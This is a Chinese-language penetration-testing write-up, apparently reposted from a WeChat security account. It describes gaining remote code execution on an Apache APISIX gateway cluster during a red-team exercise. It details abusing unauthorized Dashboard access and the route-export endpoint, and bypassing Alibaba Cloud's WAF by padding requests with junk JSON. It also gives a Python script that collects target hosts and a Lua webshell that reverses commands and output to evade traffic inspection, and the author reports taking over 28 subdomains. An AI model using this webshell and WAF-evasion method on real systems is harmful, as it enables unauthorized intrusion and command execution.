0x01 前言
在前不久的一次地级市攻防演练中,给定的资产少之又少,很难找到突破点,但是经过一轮的信息收集发现某个地址使用了apisix网关,RCE漏洞不就来了吗?但是绕WAF的过程还是比较困难的。
末尾可领取字典等资源文件
0x02 漏洞发现
如图使用了apisix网关的WebServer在用户访问不存在的路由时,会抛出如下错误,这可以作为我们指纹识别的特征所在。
{
"error_msg": "404 Route Not Found"
}
针对Apisix节点的攻击方法,想要RCE的话,历史上主要有“默认X-API-Key”和“Dashboard未授权访问”两个洞可以用过往挖某SRC的时候,就遇到过默认X-API-Key导致可直接创建执行lua代码的恶意路由的问题。
恰巧这次攻防演练中,某目标子域的Apisix节点,默认key改了,但是存在Dashboard的未授权访问。
直接去Github扒了一个脚本,发现能检测出漏洞,但是RCE利用不成功,把reponse打印出来后,果然...被阿里云的WAF给拦了。
0x03绕阿里WAF
把创建恶意路由的请求包中,添加一个带有大量脏数据的Json键,发现阿里云不拦了。
用之前的Dashboard未授权访问漏洞查看路由,显示恶意路由确实是被写入了...但是直接访问恶意路由却依然提示404。
通过未授权访问漏洞,获取全量路由配置后,发现目标apisix应该是集群部署的...
/apisix/admin/migrate/export
每个路由需要有一个host键来确定该路由被添加到哪个子域。
随后再次构造写入恶意路由的数据,把host键加上,发现可以成功写入了。
利用未授权接口读出全量路由config,并提取出host键,确定可写入恶意路由的子域范围。
import json
def read_config():
with open("data.json", 'r') as json_file:
config = json.load(json_file)
return config
data = read_config()
if "Routes" in data:
for route in data["Routes"]:
if "host" in route:
host_value = route["host"]
with open("data.txt", "a") as file:
file.write(host_value + "n")
print(host_value)
但是后面执行命令,有的时候会被阿里云给拦掉,于是构造lua脚本时把传参和命令输出做了倒转,防止被流量检测到。
local file=io.popen(string.reverse(ngx.req.get_headers()['Authenication']),'r')
local output=file:read('*all')
file:close()
ngx.say(string.reverse(output))
由于该apisix集群部署管理了28个子域的服务,所以成功拿下28个子域Rce。
0x04
原文始发于微信公众号(渗透安全HackTwo):某互联网厂商 Apisix绕阿里WAF拿下Rce-漏洞挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论